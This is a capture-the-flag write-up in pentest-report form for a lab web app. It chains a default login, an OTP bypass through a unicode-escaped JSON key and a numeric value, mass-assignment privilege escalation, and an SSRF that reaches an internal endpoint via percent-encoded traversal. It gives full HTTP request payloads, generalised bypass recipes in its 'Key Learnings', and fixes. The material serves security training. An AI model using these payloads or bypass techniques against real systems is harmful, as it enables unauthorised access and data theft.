BugForge — 2026.07.14

MesaNet Access Panel: OTP Verify Bypass Chained to SSRF Internal Disclosure

BugForge OTP Bypass + SSRF to Internal Store hard

Part 1: Pentest Report

Executive Summary

MesaNet Access Panel is a Half-Life / Black Mesa themed staff portal running Node.js / Express with server-rendered EJS, fronted by a reverse proxy whose response signatures are consistent with a Go net/http layer. The flag lived in an internal document store at /internal, an endpoint that returned 403 Forbidden to every externally-originated request regardless of headers, path shape, or method. Testing established that the endpoint was reachable only by a request originating from the application’s own host, then built a five-step chain from a seeded login credential to a server-side fetch that satisfied that origin condition and returned the internal record.

Testing confirmed 4 findings:

ID Title Severity CVSS CWE Endpoint
F1 Weak seeded credential (operator:operator) Medium 6.5 CWE-1392 POST /login
F2 OTP verify dual bypass (filter key-hiding + non-string value) High 8.1 CWE-287, CWE-697, CWE-307 POST /dev/verify
F3 Broken access control via dev user provisioning High 8.1 CWE-915, CWE-269 POST /api/dev/users
F4 SSRF via vetting reference fetch, with allowlist bypass to /internal High 7.7 CWE-918, CWE-20 POST /gateway

No single finding is Critical on its own metrics, but they compose into a Critical outcome: a guessable credential leads to a dev-console authentication bypass, which allows self-provisioning of a maximum-clearance account, which unlocks a server-side URL fetch whose allowlist is defeated by percent-encoded path traversal. The terminal step reads the internal-origin-gated clearance registry, a full confidentiality compromise of a record the application explicitly withholds from every authenticated role (bug{INXx0emqB4oxvOF2cm0qlqDXel2rNhx5}).


Objective

Capture the flag on a HARD-rated BugForge lab. The flag sits in /internal, an endpoint gated to internal-origin requests, so the objective reduces to producing a request to /internal that originates from inside the application’s trust boundary.


Scope / Initial Access

# Target Application
URL: https://lab-1783714837347-hxqjc6.labs-app.bugforge.io/

# Auth details
Login:    POST /login (application/x-www-form-urlencoded)
Session:  express-session cookie `connect.sid` (HttpOnly), set on success only
Seed:     operator:operator (standard authenticated user)

The portal issues a signed connect.sid session cookie on a successful login and no cookie on a failed one. There is no self-registration; the operator account is the starting point.


Reconnaissance: Characterizing an Internal-Only Endpoint

The attack surface is small. The dashboard exposes a set of per-app views, a /dev console, and a single API router at /gateway. Mapping focused on the one endpoint that behaved differently from everything else: /internal.

  1. GET /internal and HEAD /internal returned 403 {"error":"Forbidden"}, while OPTIONS /internal returned Allow: GET,HEAD. The route exists and is registered; the 403 is a condition on the request, not a missing handler.
  2. Every externally-originated variation of that request returned a byte-identical 403: path normalization tricks, the full forwarded-client-IP header family pointed at loopback, bot and internal-service user agents, Origin/Referer set to localhost, query-string backdoors, and method-override headers. The response never changed, which ruled out any header-driven or path-driven bypass and pointed at the request’s origin as the deciding factor.
  3. /internal/clearance-registry and other sub-paths reached the application and returned 404, so the gate is an exact match on /internal, not a prefix rule. The flag document is a sub-path behind the same origin condition.
  4. The /dev console presented a 6-digit one-time-passcode gate that rotated on a 60-second interval, verified at POST /dev/verify, with a per-session attempt counter.
  5. POST /gateway routed a JSON body ({id, endpoint, data}) to per-application backend APIs, including a vetting application whose reference-check feature fetched a candidate-supplied URL.

Observation 2 is the pivot: since no external request shaping reaches /internal, the intended path is a feature that makes the application fetch a URL on the attacker’s behalf, from the application’s own host. Observation 5 is that feature.


Application Architecture

Component Detail
Backend Node.js / Express
Frontend Server-rendered EJS templates
Proxy Front reverse proxy; response signatures consistent with Go net/http (inference from 404 page not found text/plain + X-Content-Type-Options: nosniff)
Auth express-session, connect.sid HttpOnly cookie, form login

API Surface

Endpoint Method Auth Notes
/login POST No Form login; success-only session cookie
/ GET Yes Dashboard
/dev GET Yes Dev console; OTP-gated
/dev/verify POST Yes OTP verification
/dev/time-remaining GET Yes OTP rotation timer
/api/dev/users POST Yes (dev) User provisioning
/gateway POST Yes Router to per-app backend APIs (entitlement-gated)
/internal, /internal/clearance-registry GET/HEAD Internal origin only 403 to any external request

Known Users

Username ID Role
operator seeded Standard user (starting access)
pwnx 11 Clearance-5, all entitlements (self-provisioned via F3)

Attack Chain Visualization

┌───────────────┐   ┌───────────────┐   ┌───────────────┐   ┌───────────────┐   ┌───────────────┐
│ F1 seeded     │   │ F2 OTP verify │   │ F3 provision  │   │ F4 SSRF: vet- │   │ F4 allowlist  │
│ credential    │──▶│ dual bypass   │──▶│ clearance-5   │──▶│ ting verify   │──▶│ bypass via    │
│ operator:     │   │ {"otp":0} w/  │   │ user "pwnx"   │   │ fetches our   │   │ %2e%2e → GET  │
│ operator      │   │ escaped key   │   │ w/ vetting.   │   │ referenceUrl  │   │ /internal/    │
│ → session     │   │ → dev console │   │ review        │   │ (loopback)    │   │ clearance-reg │
└───────────────┘   └───────────────┘   └───────────────┘   └───────────────┘   └──────┬────────┘
                                                                                        │
                                                                                        ▼
                                                                              bug{INXx0emqB4...}

Findings

F1: Weak Seeded Credential (operator:operator)

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) CWE: CWE-1392 (Use of Default Credentials) Endpoint: POST /login Authentication required: No

Description

The portal accepts the credential operator:operator, where the username equals the password. It authenticates to a standard user session and is the entry point for the rest of the chain.

Impact

Unauthenticated attacker gains an authenticated foothold as the operator user.

Reproduction

Step 1: Log in with the guessable credential

POST /login HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

username=operator&password=operator

Response: 302 Found, Location: /, Set-Cookie: connect.sid=s%3AnOaOJ2rN...; Path=/; HttpOnly. The session cookie confirms a successful login.

Remediation

Fix 1: Remove seeded credentials and enforce a password policy

// BEFORE (Vulnerable): a seeded account whose password equals its username
await Users.create({ username: 'operator', password: hash('operator') });

// AFTER (Secure): no shared/seed credential; provisioned accounts require a
// randomly generated one-time password and a forced reset on first login
const temp = crypto.randomBytes(24).toString('base64url');
await Users.create({ username: 'operator', password: hash(temp), mustReset: true });

Additional recommendations:

  • Reject any password equal to (or trivially derived from) the username.
  • Rate-limit and monitor login attempts against a known-username list.

F2: OTP Verify Dual Bypass (Filter Key-Hiding + Non-String Value)

Severity: High CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-287 (Improper Authentication), CWE-697 (Incorrect Comparison), CWE-307 (Improper Restriction of Excessive Authentication Attempts) Endpoint: POST /dev/verify Authentication required: Yes (any standard session)

Description

The /dev console is guarded by a rotating 6-digit one-time passcode verified at POST /dev/verify. Two compounding defects together let any authenticated user reach the dev console without knowing a valid passcode:

  1. A body filter matching the literal key on the raw request bytes. A request whose otp field is structured (an array) or whose value fails the format check is caught before the handler runs. Escaping a character of the key in the JSON body so the raw bytes no longer contain the literal string otp (for example {"\u006ftp":...}, where \u006f is the letter o) passes the filter untouched, because it scans the bytes rather than the parsed object; JSON.parse then restores the real key and the handler reads the field normally.
  2. An attempt counter that a non-string value does not decrement, and a verification that accepts it. A string passcode decrements a per-session counter that locks out after roughly ten attempts. The JSON number 0 submitted for the same field was not counted (the request stayed repeatable) and was accepted by the verification, returning a redirect to the dev console.

Combining the two, a body with an escaped otp key and a numeric 0 value reaches the handler past the filter and is accepted without consuming an attempt.

Impact

Any authenticated user bypasses the one-time-passcode gate and gains full dev-console access.

Reproduction

Step 1: Establish the baseline (a string passcode is counted and rejected)

POST /dev/verify HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<operator session from F1>
Content-Type: application/json
Content-Length: 16

{"otp":"000000"}

Response: 200 OK, body reporting an invalid passcode with a decremented remaining-attempts count. A string value is validated and charged against the per-session limiter.

Step 2: Submit the dual bypass (escaped key, numeric value)

POST /dev/verify HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<operator session from F1>
Content-Type: application/json
Content-Length: 14

{"\u006ftp":0}

Response: 302 Found, Location: /dev. The same session is now dev-authenticated. The \u006f escape hides the otp key from the raw-byte filter, and the numeric value consumed no attempt from the counter, so the request is repeatable.

Remediation

Fix 1: Validate on the parsed value, not the raw bytes

// BEFORE (Vulnerable): pre-handler filter scans the raw body string for a key
if (/"otp"\s*:\s*\[/.test(rawBody)) return res.status(400).end();

// AFTER (Secure): parse first, then enforce type and shape on the object
const { otp } = req.body;
if (typeof otp !== 'string' || !/^\d{6}$/.test(otp)) {
  return res.status(400).json({ error: 'otp must be a 6-digit string' });
}

Fix 2: Type-strict comparison and a limiter that counts every attempt

// BEFORE (Vulnerable): a non-string otp is neither rejected nor counted, and
// it reaches a comparison that accepts it
countAttempt(String(otp));                   // a number is coerced/skipped, never charged
if (otp == session.expectedOtp) { grant(); }

// AFTER (Secure): reject non-strings before compare; count first, unconditionally
if (!recordAttemptAndCheckLockout(session)) return res.status(429).end();
if (typeof otp !== 'string' || otp !== session.expectedOtp) {
  return res.status(401).json({ error: 'invalid otp' });
}

Additional recommendations:

  • Lock the account or session after the attempt budget is exhausted, independent of input type.
  • Do not rely on a request-body filter as an authentication control; treat it as defense in depth only.

F3: Broken Access Control via Dev User Provisioning

Severity: High CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) CWE: CWE-915 (Improperly Controlled Modification of Object Attributes / Mass Assignment), CWE-269 (Improper Privilege Management) Endpoint: POST /api/dev/users Authentication required: Yes (dev-console access from F2)

Description

The dev console’s user-provisioning endpoint binds the request body directly to the new user record with no server-side restriction on privilege fields. A caller sets clearanceLevel (0-5) and a complete entitlements object, including vetting.review, and the server creates the account exactly as specified.

Impact

Privilege escalation to a maximum-clearance account holding every application entitlement.

Reproduction

Step 1: Provision a clearance-5 superuser

POST /api/dev/users HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<dev-authenticated session from F2>
Content-Type: application/json
Content-Length: <len>

{"username":"pwnx","password":"Pwned123!","fullName":"root","clearanceLevel":5,"entitlements":{"nexus":{"access":true,"read":["public","restricted","confidential"],"write":["public","restricted","confidential"]},"mail":{"access":true,"canSend":true,"maxClassification":"confidential"},"vault":{"access":true},"roster":{"access":true,"approve":true},"sector":{"access":true,"control":true},"vetting":{"access":true,"review":true},"mesadoc":{"access":true},"incident":{"access":true},"maint":{"access":true,"diagnostic":true},"secqueue":{"access":true}}}

Response: 200 OK, {"id":11,"username":"pwnx","clearanceLevel":5,"entitlements":{...,"vetting":{"access":true,"review":true},...}}. The server echoes the account with the requested clearance and entitlements intact.

Step 2: Log in as the provisioned account

POST /login HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

username=pwnx&password=Pwned123!

Response: 302 Found, Location: /, new Set-Cookie: connect.sid=.... The pwnx session now carries vetting.review, required by F4.

Remediation

Fix 1: Do not bind privilege fields from the request body

// BEFORE (Vulnerable): the whole body becomes the user, privileges included
const user = await Users.create(req.body);

// AFTER (Secure): allowlist bindable fields; assign privilege server-side
const { username, password, fullName } = req.body;
const user = await Users.create({
  username, password: hash(password), fullName,
  clearanceLevel: 0,             // never client-controlled
  entitlements: defaultEntitlements(),
});

Additional recommendations:

  • Require a separate, audited authorization to raise a clearance level or grant an entitlement.
  • Log privilege changes with the acting principal for review.

F4: SSRF via Vetting Reference Fetch, with Allowlist Bypass to /internal

Severity: High CVSS v3.1: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) CWE: CWE-918 (Server-Side Request Forgery), CWE-20 (Improper Input Validation) Endpoint: POST /gateway (/api/vetting/submit, /api/vetting/verify) Authentication required: Yes (vetting.review, self-granted via F3)

Description

The vetting application’s reference check has two compounding defects:

  1. A returned-content server-side fetch. /api/vetting/submit stores a candidate referenceUrl; /api/vetting/verify fetches that URL server-side and returns the response body in a preview field. The fetch originates from the application’s own host (loopback), which is the origin that /internal accepts. This is the fetch that reaches inside the trust boundary.
  2. An allowlist validated on the raw string while the fetch client decodes it. The referenceUrl must match an approved http://internal.mesanet.local/refs/N shape. The check runs against the raw string, but the HTTP client percent-decodes and normalizes the path before fetching. A literal ../ in the path was rejected as “not an approved reference-registry location,” while percent-encoded %2e%2e passed the raw-string check and normalized to a sibling path. http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registry satisfies the allowlist yet resolves to GET /internal/clearance-registry.

Together, the two defects fetch an internal-origin-gated document and return its contents.

Impact

Read of the internal document store, disclosing the clearance registry (a record withheld from every authenticated role).

Reproduction

Step 1: Submit a candidate with the allowlist-bypassing reference URL

POST /gateway HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<pwnx session from F3>
Content-Type: application/json
Content-Length: <len>

{"id":"f7a3d5e1-4b9c-4a8d-9e3f-5c1b8d4a9f6e","endpoint":"/api/vetting/submit","data":{"name":"kc","position":"x","bio":"x","referenceUrl":"http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registry"}}

Response: 200 OK, {"candidate":{"id":<CID>,...,"referenceUrl":"http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registry"}}. The URL is stored; the allowlist accepted it because the raw string begins with the approved /refs/1/ prefix. A literal ../ in the same position was rejected.

Step 2: Trigger the verify fetch

POST /gateway HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<pwnx session from F3>
Content-Type: application/json
Content-Length: <len>

{"id":"f7a3d5e1-4b9c-4a8d-9e3f-5c1b8d4a9f6e","endpoint":"/api/vetting/verify","data":{"id":<CID from Step 1>}}

Response: 200 OK, with the fetched body in preview:

{"id":"<CID>","referenceUrl":"http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registry","preview":"MesaNet Clearance Registry\nRESTRICTED: facility oversight only. Vetting reviewers are not cleared for this record.\nOversight authorization: bug{INXx0emqB4oxvOF2cm0qlqDXel2rNhx5}"}

The server fetched /internal/clearance-registry from loopback, satisfying the origin gate, and returned the flag.

Remediation

Fix 1: Validate after canonicalization, not on the raw string

// BEFORE (Vulnerable): allowlist checks the raw string; the client decodes later
if (!/^http:\/\/internal\.mesanet\.local\/refs\/\d+$/.test(referenceUrl)) reject();
const body = await fetch(referenceUrl).then(r => r.text());

// AFTER (Secure): parse and normalize, then compare the resolved path
const u = new URL(referenceUrl);
const path = decodeURIComponent(u.pathname).replace(/\/+/g, '/');
if (u.protocol !== 'http:' || u.hostname !== 'internal.mesanet.local'
    || !/^\/refs\/\d+$/.test(path)) reject();

Fix 2: Reference by identifier, not by attacker-supplied URL

// BEFORE (Vulnerable): the user controls the URL that the server fetches
const body = await fetch(candidate.referenceUrl).then(r => r.text());

// AFTER (Secure): accept a registry id and resolve it server-side
const ref = await ReferenceRegistry.findById(candidate.referenceId); // no free-form URL

Additional recommendations:

  • Do not return upstream response bodies to the client; a fetch feature should surface a status, not raw content.
  • Enforce egress controls so application features cannot reach /internal over loopback.
  • Gate /internal on authenticated authorization, not solely on request origin.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: F3 mass-assigns clearance and entitlements at provisioning; the /internal origin gate is defeated by a loopback-originated fetch (F4).
  • A04:2021 Insecure Design: the OTP gate depends on a raw-byte body filter and a type-branched limiter (F2), and the SSRF allowlist validates a different string representation than the one fetched (F4).
  • A07:2021 Identification and Authentication Failures: a guessable seeded credential (F1) and an authentication gate bypassed without a valid passcode (F2).
  • A10:2021 Server-Side Request Forgery: the vetting verify fetch retrieves an attacker-controlled internal URL and returns its body (F4).

Tools Used

Tool Purpose
curl Crafting raw HTTP requests, including the unicode-escaped JSON key and encoded-traversal URL
Caido Proxy and wire capture to confirm proxy-versus-application path normalization

References


Part 2: Notes / Knowledge

Key Learnings

  • A WAF that scans raw request bytes for a field key is defeated by JSON unicode key escapes. When a filter sits in front of a JSON parser and blocks on the literal key name in the request body, escape a character of that key ({"\u006ftp":...}). The raw bytes no longer contain the string the filter matches, but JSON.parse restores the real key and the handler receives the field unchanged. The filter and the application read at different layers (bytes versus parsed object), so anything matched lexically can be hidden while staying semantically identical after parsing. Here it slipped the otp field past the gate on /dev/verify; the same idea applies to duplicate keys, whitespace, and number formats a parser tolerates but a regex misses.

  • On a rate-limited verify with a string-typed limiter, send a non-string value. When an OTP, token, or 2FA verify decrements a per-session or per-IP counter and the counting logic appears to handle only strings, submit the value as a JSON number, boolean, or null. A non-string can skip the string-only counter entirely, giving unlimited and rotation-immune attempts, and if the comparison is loose it may be accepted outright. On this target the number 0 was never charged against the attempt budget and the verify accepted it, whereas arrays and strings through the same channel took the counted path. The value’s type, not its content, is the bypass, so this generalizes to any type-branched attempt counter or validator.

  • To bypass a URL allowlist validated on the raw string, use encoded traversal (%2e%2e), because the fetch client decodes and normalizes. When a server-side fetch checks the target against an allowlist on the raw string and then hands the same string to an HTTP client, keep the approved prefix literal and append percent-encoded traversal to the real target: http://allowed.host/approved/1/%2e%2e/%2e%2e/internal/target. The validator sees the approved prefix; the client decodes %2e%2e to .. and normalizes to the target path. Literal ../ was rejected here while %2e%2e reached /internal/clearance-registry. Validate-then-fetch across two different string representations (raw versus decoded and normalized) is the Orange Tsai URL-parser discrepancy, and it applies to path-based proxy ACLs and redirect validators as well as SSRF allowlists.


Failed Approaches

Approach Result Why It Failed
Direct /internal request-envelope bypass (path confusion, forwarded-client-IP header family, bot/service user agents, Origin/Referer localhost, query backdoors, method-override) Byte-identical 403 Forbidden for every variant The gate reads the request origin, not any header or path shape; only a request from the application’s own host passes.
Login injection: SQLi, NoSQLi, time-based Generic “Invalid credentials”, no error or delay Login is injection-resistant with a generic error and no user enumeration.
Session forgery: base64(md5(user)), md5, plaintext, alg=none JWT across common cookie names Never accepted (302 back to /login) The session cookie is a signed express-session identifier, not a guessable scheme.
JSON-array OTP injection ({"otp":[...]}) Rejected by a body guard; not iterated, not counted This mechanic worked on a same-named prior lab build but was patched here; a remembered technique is a hypothesis, not a given.
Encoded-array OTP brute (otp[]= via urlencoded) across rotated sessions Reached the handler but charged one attempt per request The per-session budget plus login rate limits made full-range coverage of the passcode space within a 60-second rotation window infeasible.
Direct backend port access (3000/8080/8000/5000) Connection filtered No direct route to the Express backend; the front proxy is the only ingress.

Tags: #ssrf #broken-access-control #otp-bypass #waf-bypass #url-parser-confusion #bugforge Document Version: 1.0 Last Updated: 2026-07-14

#ssrf #broken-access-control #otp-bypass #waf-bypass #url-parser-confusion #bugforge